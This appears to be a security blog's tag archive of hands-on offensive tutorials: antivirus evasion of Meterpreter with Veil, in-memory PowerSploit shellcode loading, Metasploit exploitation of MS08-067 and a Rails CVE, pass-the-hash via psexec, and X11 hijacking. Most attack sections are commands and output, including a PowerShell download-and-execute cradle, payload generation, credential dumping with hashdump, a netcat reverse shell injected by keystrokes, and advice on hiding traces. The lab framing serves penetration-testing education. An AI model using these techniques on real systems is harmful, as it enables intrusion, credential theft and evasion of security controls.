Tag Archives: metasploit

Obfuscating Meterpreter Payloads with Veil

I am a big fan of using meterpreter as a post compromise payload.  It has so many tools that makes all the next steps so much easier.  The problem is, every antivirus out there will catch meterpreter.  Metasploit comes with a handy obfuscator, but even that always gets caught now.

For a long time, everyone had their tricks to obfuscate meterpreter payloads, but nobody wanted to share for fear of antivirus companies finding out about them.  My trick was to generate a raw, shellcode payload.  Then use a python script called shellcode2exe that converted the shellcode to an executable file (it used mingw32).  When that quit working, I found the Veil Framework.  This post will focus on the Veil-Evasion part of the Veil framework.

The authors of Veil took all of the neat obfuscation tricks they could find, and packaged them up into one, easy to use python script.

Setup Your Testbed

The victim machine needs to be any Windows machine.  In this example, we’ll be using Windows 7 64-bit.  Install an antivirus to see how well it (doesn’t) catch the payload.

The attacker machine should be a machine running Kali Linux.  Veil is not installed by default, but there are two easy ways to do it: by running apt-get or simply downloading from the Git repository.  Some users have issues with the apt-get method and the git repository will be the most up to date version, so that is my preferred method.

Apt-get method:

# apt-get install veil
# cd /usr/share/veil-evasion/setup/
# ./setup.sh

Git method:

$ git clone https://github.com/Veil-Framework/Veil-Evasion.git
$ cd Veil-Evasion/setup/
$ ./setup.sh

The setup.sh process can take a while. The end result is a Veil-Evasion.py program you can use.


How do you find a vulnerable host?

This post is strictly about post exploitation and antivirus evasion.  Find your own way in to a Windows machine.  Once you are there, you should be able to run meterpreter, with or without antivirus being installed

How do you attack that host?

First, use veil to generate the payload.  Run the Veil-Evasion.py script from wherever you did your git pull.


Currently there are 40 options for payloads (but the authors frequently/monthly add more).  The “list” command will show all the options available.


Different payloads can be used slightly differently.  For example, the powershell payloads have the benefit of just being loaded into memory rather than the hard disk as described in a previous blog post.  Different versions compiled versions (like the C or C# ones) may or may not be caught by your antivirus of choice (not all will evade antivirus completely), but most likely there will be a couple that work.

In this example, I will generate a payload for #9, or cs/meterpreter/rev_https. The command is “use cs/meterpreter/rev_https” (or just “use 9”)


Finally, I’m going to set the LHOST to the IP address of my Kali machine and then generate the resulting payload.  When it asks, I told it to call the payload “colesec”.


Now take the compiled colesec.exe payload and drop it on the victim machine.  Before running it though, start up the meterpreter handler in metasploit.  Veil makes this really easy by creating a handler file.

# msfconsole -r /usr/share/veil-output/handlers/colesec_handler.rc

Once metasploit loads up, go ahead and run the executable on the victim machine.  It should all work!

Note that Veil has more parts to the framework than just Veil-Evasion. Check out some of the other modules, especially Veil-Catapult for payload delivery.

Hacking with Powershell, Powersploit, and Invoke-Shellcode

Powershell has recently come into the spotlight as more than just a sysadmin tool, but a great cyber security tool.  This was emphasized by many of the popular hacker cons this last year.

One incredibly useful tool is Powersploit.  It is a set of powershell scripts put together (and in part written by) Matt Graeber.

In this post, we’re going to use the Invoke-Shellcode script from Powersploit to completely bypass antivirus and load up a meterpreter back to your server.  Antivirus never catches it because it never actually hits the hard drive; everything stays in memory.  Genius, right?

Setup Your Testbed

The victim machine needs to be any Windows machine.  In this example, we’ll be using Windows 7 64-bit.  You can even have an antivirus installed, and you will see that it never gets caught.

The victim machine also needs to download the Invoke-Shellcode.ps1 script from somewhere.  In the examples below, we’ll just grab them straight from github.  This isn’t always possible (or smart), so powersploit is also already available in Kali under /usr/share/powersploit.  You can easily set up a temporary web server on port 8000 to download from by using the Python module SimpleHTTPServer:

$ cd /usr/share/powersploit
$ python -m SimpleHTTPServer
Serving HTTP on port 8000 ...

And now you can use your Kali box instead.


You can also make sure you have the very latest powersploit scripts by cloning the archive:

$ git clone https://github.com/mattifestation/PowerSploit.git
Cloning into 'PowerSploit'...
remote: Counting objects: 1555, done.
remote: Total 1555 (delta 0), reused 0 (delta 0), pack-reused 1555
Receiving objects: 100% (1555/1555), 5.94 MiB | 2.63 MiB/s, done.
Resolving deltas: 100% (743/743), done.


How do you find a vulnerable host?

Any Windows machine with powershell installed should be vulnerable.  You can tell that powershell is installed simply by entering the powershell prompt from the command line.



How do you attack that host?

First, you need to download the script and load it into memory.  The trick here is that it never hits the hard drive, so antivirus doesn’t catch anything.

PS > IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1")

Note, you shouldn’t see any errors.  Also note that if you see the following text: “Something terrible may have just happened and you have no idea what because you just arbitrarily download crap from the Internet and execute it.” – you need to download Invoke–Shellcode instead of Invoke-Shellcode. It seems the author is trying to make a point about downloading code.

Now that Invoke-Shellcode has been loaded,  you can optionally find out more about it.

PS > Get-Help Invoke-Shellcode


All of the Powersploit scripts have very helpful Get-Help commands.

Now you need to setup the handler to catch the meterpreter payload.  Start up Metasploit and begin your handler:

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
msf exploit(handler) > set LHOST
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > exploit

[*] Started HTTPS reverse handler on
[*] Starting the payload handler...

Finally, you are ready to use Invoke-Shellcode on the victim:

PS > Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost -Lport 4444 -Force

You should have a meterpreter shell on your Kali machine:

msf exploit(handler) > exploit

[*] Started HTTPS reverse handler on
[*] Starting the payload handler...
[*] Request received for /INITM...
[*] Staging connection for target /INITM received...
[*] Patched user-agent at offset 663656...
[*] Patched transport at offset 663320...
[*] Patched URL at offset 663384...
[*] Patched Expiration Timeout at offset 664256...
[*] Patched Communication Timeout at offset 664260...
[*] Meterpreter session 1 opened ( -> at 2015-03-05 11:35:10 -0500

meterpreter > getuid
Server username: testcomp\colesec

As another tip, there is a fantastic post exploit module called post/windows/manage/smart_migrate.  You can run it at this point to automatically migrate to another process, after which you can completely close the powershell window and still keep the meterpreter process running.  You can even make the process run automatically in your handler setup by adding the command “set AutoRunScript post/windows/manage/smart_migrate”




http://resources.infosecinstitute.com/powershell-toolkit-powersploit/ (great description of other powersploit scripts)
https://www.fishnetsecurity.com/6labs/blog/how-post-ex-persistence-scripting-powersploit-veil (cool tutorial on adding custom payloads and using persistence)

Metasploit Basics

Now seems like a good time to list some of the basics of Metasploit.

Setup Your Testbed

First, install backtrack linux to get Metasploit.  Using either the KDE or GNOME version doesn’t matter.  In fact, you can even install it to a thumb drive using unetbootin and boot Backtrack without changing your main OS at all.  We’ll assume this machine is located at  The default login for backtrack is root/toor.

Next, simply run a base install of Windows XP without any updates as your target.  Then share out a file (doesn’t matter what).  You can use most anything (such as metasploitable, etc.), but for the exploits we’ll be using, Windows XP is the most fun target.  We’ll assume this machine is located at


How do you find a vulnerable host?

Often times you can start out with a nessus scan of a machine.  Then take some of the highest vulnerabilities, and search for the CVE listed on the metasploit modules search page.  Our Windows XP machine will have a lot, but the example we’ll use is the famous MS08-067 or CVE-2008-4250.  Do a search for that, and you’ll find this page.

How do you attack that host?

First, get on your Backtrack machine and type “msfconsole”.  You’ll load up the main Metasploit page.

metasploitNow you need to understand the difference between an exploit and a payload.  The exploit is the flaw in the system that you are going to take advantage of.  In the case of MS08-067, it is a problem is the SMB service.  The modules that you searched for above are simply exploits.  You can also search for exploits here on the command line by typing “search ms08” or whatever you are looking for.

A payload is what you will send once the exploit has been executed.  Many exploit kits use some sort of spyware as a payload.  Metasploit also has a number of payloads.  Different payloads work for different exploits.  Some payloads include VNC payload (so you can view their screen), or a reverse TCP payload (so you can browse their filesystem, etc.)  There is also a very powerful Meterpreter payload that has lots of additional commands we’ll look at.

To choose our exploit, type “use exploit/windows/smb/ms08_067_netapi”, and you’ll see the prompt change.  “show options” will show some entries you need to put with the payload.



Some options are already filled out.  Sometimes the automatic targeting doesn’t work, and you’ll need to change that.  “Show targets” and then “Set target 1” or whatever your target is will help.  This will also change the payloads available sometimes.  For this particular exploit, leave the target as the default.

RHOST is remote host, or the machine you are attacking.  To set this, enter “set RHOST”.

Now set the payload.  You can do a “show payloads”.  We’ll use the meterpreter payload with “set PAYLOAD windows/meterpreter/reverse_tcp” (notice you can do tab completion).  After this, do another show options, and you’ll see additional options listed for the payload.  You’ll notice you now need to fill out the LHOST.  That is local host, or where the payload should call back to (you).  You should enter your own IP address.  If you forgot, typing ifconfig at the MSF console works.  Type “set LHOST”.

Last is the best command of all.  “exploit”.  Type “help” on the meterpreter command prompt to see all of what you can do.  I usually start out with getuid, and then hashdump.  Put it all together:

# msfconsole
msf > use use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST
msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to
[*] Meterpreter session 1 opened ( -> at 2013-03-01 13:10:59 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > hashdump

Some other helpful tips:

  • You may have many sessions opened at once.  Type “sessions” at the msf console to view them.  “sessions -i 5” will open session 5.
  • You may have services listening on ports you don’t want anymore.  Type “jobs” to see which ones are open, and “kill 5” to kill job 5.

You can also package up your payload to be run at any time, without the need of a vulnerability.  From the command prompt (not in the msf console), run the following:

# msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT=5555 X > runme.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: {"LHOST"=>"", "LPORT"=>"5555"}

You can get a help interface by running “msfpayload -h” (more info on the tool here).  Copy runme.exe over to your Windows XP machine.  Then start a handler to listen for the connection:

# msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST
msf exploit(handler) > set LPORT 5555
msf exploit(handler) > exploit

Now you’re just waiting for connections.  Run the file on your Windows machine, and you’ll get a meterpreter prompt.  If you were to use the windows/shell/reverse_tcp payload, you wouldn’t even need to run metasploit at all.  You could just set a netcat listener on the port specified.

Finally, there’s also a msfencode utility.  It seems the purpose originally was to obfuscate these payload files so that anti-virus wouldn’t find them.  Unfortunately now, even if you use msfencode on a completely innocuous file, anti-virus will pick it up because it recognizes it was encoded with this metasploit tool.  A good way to check is to upload your file to virustotal.com (although that’s also a good way to get your “virus” sent to anti-virus vendors since this website works with them).

Metasploit in the Cloud

I recently had a need to run metasploit on the public internet. I needed it to be available on the public internet, but only for an hour here and there. So I decided to use Amazon’s EC2 cloud.  For Amazon’s EC2 cloud, I could just run it for an hour and only pay for that much time.  It is also very easy to setup and teardown servers.  The downside is you can’t just install Backtrack.  There are only certain templates for servers available.

Start out

Go to Amazon’s website, and (if necessary) create an AWS (Amazon Web Services) account by clicking Sign Up.  Or simply login and go to the EC2 console (you can get there from the AWS Management Console).  Under the Create Instance heading, click the Launch Instance button.

Continue with the Classic Wizard, and under the Quick Start tab, select the Ubuntu Server AMI (Amazon Machine Image).  The next screen lets you choose your Instance Type.  If you’re planning on using your AWS free trial, you should choose the T1 Micro instance with 613 MB RAM.  However, this will be difficult at best; you will have issues with too little RAM as you will see later.  A good choice is the next tier up, M1 Small with 1.7 GB RAM.  At only 6 cents per hour, it literally will only cost you pennies if you don’t need to run it 24/7.


Continue through all the rest of the screens, creating a key pair for login, naming your instance whatever you want, and configuring your firewall aka security group.  On the firewall, by default only port 22 is allowed.  Depending on how you are going to use this machine, you’ll need to add additional ports.  Finally, launch!

Once you launch, your machine will be built usually within a few seconds.  If you go down to the Elastic IPs section, you can first Allocate New Address to your account, and then Associate Address to your Instance that you just created.  Give that about 60 seconds to associate, and then you can SSH to your Instance using that IP address with the key pair that you created during setup.  The username will be ubuntu.  You can also connect to the machine without associating an IP address by clicking on it on the Instance page, and connecting to the Public DNS listed under Description.

Now to install metasploit.  Go to the metasploit download page, and copy the link.  We’ll be installing a few packages that metasploit needs, and then installing metasploit itself.

wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run
sudo apt-get update
sudo apt-get install postgreSQL rubygems libpq-dev libreadline-dev ruby-dev
sudo ./metasploit-latest-linux-x64-installer.run

Just choose all the defaults with the installer.  When it is done, you’ve got Metasploit installed and working (msfconsole should work).  However you can’t run updates until you register it.  In order to register it, the install wants you to go to https://localhost:3790.  However this is a remote install; there is no easy way to do that.  So go to https://INSTANCEIP:3790/ and as the screen says, wait a few mins for metasploit to finish loading.  Once it does, you’ll get a screen that says you need to connect locally, or use a special script to create a user account.  This is what we are going to do:

cd /opt/metasploit
sudo ./diagnostic_shell
ruby /opt/metasploit/apps/pro/ui/script/createuser

With your user created, refresh the page on your browser and login.  From there, just follow the instructions to get a (free) license key for the community version and register.  Now updating and running should work just fine!


Now at this point, if you chose the trial Micro instance instead of the 6 cent Small instance, you are probably getting a message that says “Activation Failed: Cannot allocate memory – who”.  Just like it says, that means there is not enough RAM.  You’ll either have to just live without any updates, or start over again with a better instance.

If you plan on penetration testing with the Amazon Cloud, you can do it, but you need to fill out a form with them (and use something better than the Small or Micro instances).

Hacking Windows Passwords with Pass the Hash

In Windows, you don’t always need to know the actual password to get onto a system (believe it or not).  All you need is the hash of that password, and you can get in just as easily.

Setup Your Testbed

This is meant to simply be an extension to the previous post.  Simply use a Windows 7 system.  All you need to add is a single Windows share.  What you share doesn’t matter.  The same password hashes that were found before will be used again.

You may need to set a registry key in case you have an error listed later.  The key is “HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters” with “RequireSecuritySignature” set to “0” (as described here. I did not need this, but notice that is a good mitigation).

Another registry key you may need for the same error is under the following: “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System”.  This time you’ll need to add a new DWORD (32-bit) called “LocalAccountTokenFilterPolicy” and set it to 1  (as described here and here. I DID need this).  Basically, local users by default are not allowed to perform administrative actions.  This registry key gets around that problem.  A domain account would not have this issue.


How do you find a vulnerable host?

All you need is a password hash to a system that has SMB file sharing open (port 445).

How do you attack that host?

Metasploit has a pass the hash module called exploit/windows/smb/psexec.  In fact if you run a “search psexec” on the Metasploit console, you’ll see about 4 modules to use pass the hash for different things.  For our host, we’re simply going to use psexec to drop a meterpreter payload.

msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(psexec) > set RHOST
msf exploit(psexec) > set LHOST
msf exploit(psexec) > set SMBUser JoeTest
msf exploit(psexec) > set SMBPass 00000000000000000000000000000000:E5810F3C99AE2ABB2232ED8458A61309
msf exploit(psexec) > exploit

[*] Started reverse handler on
[*] Connecting to the server...
[*] Authenticating to|WORKGROUP as user 'JoeTest'...
[*] Uploading payload...
[*] Created \NWKrjfhn.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (OXAZLqCq - "MSmGGmzvjJKdbAEMwVE")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \NWKrjfhn.exe...
[*] Sending stage (752128 bytes) to
[*] Meterpreter session 1 opened ( -> at 2013-02-18 10:38:09 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

And you’re in!  Hopefully.  If not, read the troubleshooting tips below:

First, a little troubleshooting.  If you get the following response:

[-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_LOGON_FAILURE (Command=115 WordCount=0)

This means you’ve got bad credentials.  Most likely, you only put the NTLM hash (E5810F3C99AE2ABB2232ED8458A61309) instead of both the blank LANMAN hash and the NTLM hash together as this module expects (00000000000000000000000000000000:E5810F3C99AE2ABB2232ED8458A61309)

If you get the following response:

[-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::ErrorCode The server responded with error: STATUS_ACCESS_DENIED (Command=117 WordCount=0)

This means you didn’t set the registry keys explained in the Setup step (likely the second one).

Other references:

Hacking Ruby on Rails with CVE-2013-0155 and CVE-2013-0156

This exploit recently came out, affecting an estimated 200k sites on the web.  You can still install the vulnerable version to create your own testbed to make sure you are doing it right.

Setup Your Testbed

The most recent version that got patched is rails 3.2.11, so 3.2.10 and below should do.  In order to setup your Ubuntu system, perform the following commands:

# apt-get install build-essential sqlite libsqlite3-dev nodejs
# apt-get install ruby1.9.3
# gem install rails -v 3.2.10
# rails new /var/www/railstest
# cd /var/www/railstest
# rails server

You should now be able to go to your server on port 3000 ( and see the default ruby on rails install.

default rails



How do you find a vulnerable host?

Metasploit has a scanner at auxiliary/scanner/http/rails_xml_yaml_scanner to find servers with the vulnerability, but surprisingly, it doesn’t seem to detect our setup.  I have no idea why.  There is also a couple Nessus plugins that seem to give it a try, but they don’t detect it either.  In which case, you’ll have to build your own tool.

I’d recommend doing it with a scripting language (like Perl) and curl, using regex to find what you want.  Something like the following:

curl -s -I –connect-timeout 2 -f

This is a Ruby on Rails specific URL.  If it exists, then you likely have found a rails server.  You can also look for /assets/rails.png as well as specific information in the header (WEBrick, Ruby, mod_rails, Mongrel, Passenger – those types of things in the X-Powered-By or Server headers).

In practice, you’ll also have to check to make sure you get something like HTTP/1.1 200 OK.  Otherwise you’ll start getting hits on 301 Moved, 404 Not Found, etc. types of pages.

How do you attack that host?

Unlike the scanning module, Metasploit’s exploit module works great, exploit/multi/http/rails_xml_yaml_code_exec:

msf> use exploit/multi/http/rails_xml_yaml_code_exec
msf exploit(rails_xml_yaml_code_exec) > set RHOST
msf exploit(rails_xml_yaml_code_exec) > set RPORT 3000
msf exploit(rails_xml_yaml_code_exec) > exploit

[*] Started reverse handler on
[*] Sending Railsv3 request to…
[*] Sending Railsv2 request to…
[*] Command shell session 1 opened ( -> at 2013-01-18 18:24:23 -0500
uid=0(root) gid=0(root) groups=0(root)

Great post on this topic by HD Moore here.  Also additional proof of concept code here.

Hacking X11

X11 forwarding is when you use SSH to forward X windows to your local machine.  In other words, you SSH into a remote Linux machine running Gnome, type in a command for a GUI screen to pop up (gedit /etc/passwd), and your local screen will pop up the gedit window from the other side.

X11 forwarding is different from VNC because with X11, you just get a single window on your screen instead of the remote screen.  With VNC, you are actually seeing and manipulating the remote screen.  Personally I think VNC is more useful, but X11 can be a lot faster if you’re just looking to open a single window (like update the remote system from the GUI) instead of doing the much more bandwidth intensive VNC application.

Sometimes, rather forward the remote screen to you via SSH, users will simply forward the remote screen back to the user’s local screen over the native X11 port of 6000.  This can also make it so anybody else can connect to that user over port 6000.

Setup Your Testbed

I installed Ubuntu 12.04.1 LTS, ran the updates, and added in the SSH server (sudo apt-get install ssh).  Run nmap to check the footprint:

$ nmap

Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-09 13:34 Eastern Standard Time

Nmap scan report for testubuntu (
Host is up (0.000020s latency).
Not shown: 999 closed ports
22/tcp open ssh
MAC Address: 08:00:27:B1:0F:DA (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 0.59 seconds

Just SSH is up.  There are many tutorials out there on setting up X11 Forwarding, so I’ll be very brief.  You can test that it works in a Windows, Mac, or Linux client.  For a Windows client, download Xming from Sourceforge (an X11 GUI), and then check the box in PuTTY under Connection -> SSH -> X11 that says Enable X11 Forwarding.  Then connect and authenticate as usual.  Once you are authenticated, type gedit.  A gedit window should pop up on your screen, allowing you to save, open, etc. files on the remote filesystem.


On Linux or Mac, open up a terminal and type:

$ ssh -X username@ipaddy

The -X tells it to forward X11 traffic, and the same thing should work (type gedit, etc.) and you’ll see the remote program is opened on your local screen.

If you type “echo $DISPLAY” on your SSH screen, you’ll see something like localhost:10.0.  The remote screen knows how to get back to you through screen 10, which is automatically set by adding the X11 forwarding option in your SSH client.


Now lets take one step forward and enable X11 without SSH forwarding.  In your /etc/lightdm/lightdm.conf file, simply add to the end of it “xserver-allow-tcp=true”.


Then restart lightdm with “sudo restart lightdm” and re-run your nmap scan:

$ nmap

Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-09 14:23 Eastern Standard Time

Nmap scan report for testubuntu (
Host is up (0.000098s latency).
Not shown: 998 closed ports
22/tcp open ssh
6000/tcp open X11
MAC Address: 08:00:27:B1:0F:DA (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 0.66 seconds

As you can see, port 6000 is now open (FYI – it used to be in the GUI with a checkbox that said Deny TCP connections to Xserver, but I guess they took it out).

The final step is disabling access control for X11 forwarding by typing “xhost +”

$ xhost +
access control disabled, clients can connect from any host

Now just to make sure it works, connect from here to another Linux machine (through SSH, telnet, or whatever).  Again, assuming your local IP is, you’ll type the following in your session to the remote machine:

$ export DISPLAY=
$ gedit

The remote machine’s gedit program should appear on your local box.  It is doing that through the port 6000 that you just opened up.

Now that we know we have a vulnerable system, lets hack it.


How do you find a vulnerable host?

First you can find servers with port 6000 open (in reality look for 6000 – 6005 or something as these can all be X11 too).  That will tell you if their X11 port is up, but not if it is open authentication (ie xhosts +).

There are several scanners to tell if it is open authentication.  Nmap has a good x11-access script:

$ nmap -p 6000 –script x11-access

Starting Nmap 6.01 ( http://nmap.org ) at 2013-01-09 20:52 EST
Nmap scan report for ubuntutest (
Host is up (0.00026s latency).
6000/tcp open X11
|_x11-access: X server access is granted
MAC Address: 08:00:27:4F:F5:A5 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 0.06 seconds

Metasploit’s auxiliary/scanner/x11/open_x11 module also works:

msf > use auxiliary/scanner/x11/open_x11
msf auxiliary(open_x11) > set RHOSTS
msf auxiliary(open_x11) > exploit

[*] Open X Server (The X.Org Foundation)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Nessus also has a plugin called X11 Server Unauthorized Access that will tell you.

How do you attack that host?

First note: in order to run some of these apps, you may need to install x11-apps and/or xutils-dev packages.

Once you find these systems, hacking them still isn’t easy.  You can’t just type xterm to open a shell because it will open your shell on the vulnerable system’s screen.  Not ideal.  So instead, you pull screen captures and send keystrokes.

First, make sure you found a vulnerable system by pulling a screen capture of the remote machine (replace the IP of the remote machine you just setup) from your Backtrack system (or whatever you are hacking from):

$ xwd -root -screen -silent -display > screenshot.xwd
$ convert screenshot.xwd screenshot.jpg

Open up the screen shot, and it should be the remote system.  If the screen saver appears to be on, you can deactivate it with :

$ xset -display s reset

Take another screen shot to verify.  Now we are going to create a netcat listener for our remote machine to connect to:

$ nc -l -p 5555

Then open another window and type:

export DISPLAY=

Be careful with this screen.  Anything you do here will be sent straight to the other vulnerable system.  What we want to do is use xdotool to send keystrokes to the vulnerable system, opening up xterm and piping a bash session back to you with netcat.

$ xdotool key alt+F2
$ xdotool key x t e r m
$ xdotool key KP_Enter
$ xdotool key n c space 1 9 2 period 1 6 8 period 1 period 4 space 5 5 5 5 space minus e space slash b i n slash s h KP_Enter

You should now be able to type commands normally to the vulnerable system from your netcat terminal on your hacking system.  Don’t forget to kill the terminal window you opened in order to stay stealthy.  You can do that by first grabbing its handle with xwininfo and then killing it with xkill:

$ xwininfo -root -children -display
0x3200001 “gnome-screensaver”: (“gnome-screensaver” “Gnome-screensaver”)  10×10+10+10  +10+10
$ xkill -display -id 0x3200001

Then you can re-activate the screen saver with:

xset -display s activate

Instead of using netcat, you can preconfigure a metasploit payload and download it with wget or something along those lines.  Then look for SSH keys (or generate your own) or some easier way to login afterwards.  A few other commands to look up include xsetroot and xmodmap.  There are also utilities for listening to keystrokes over that port as well.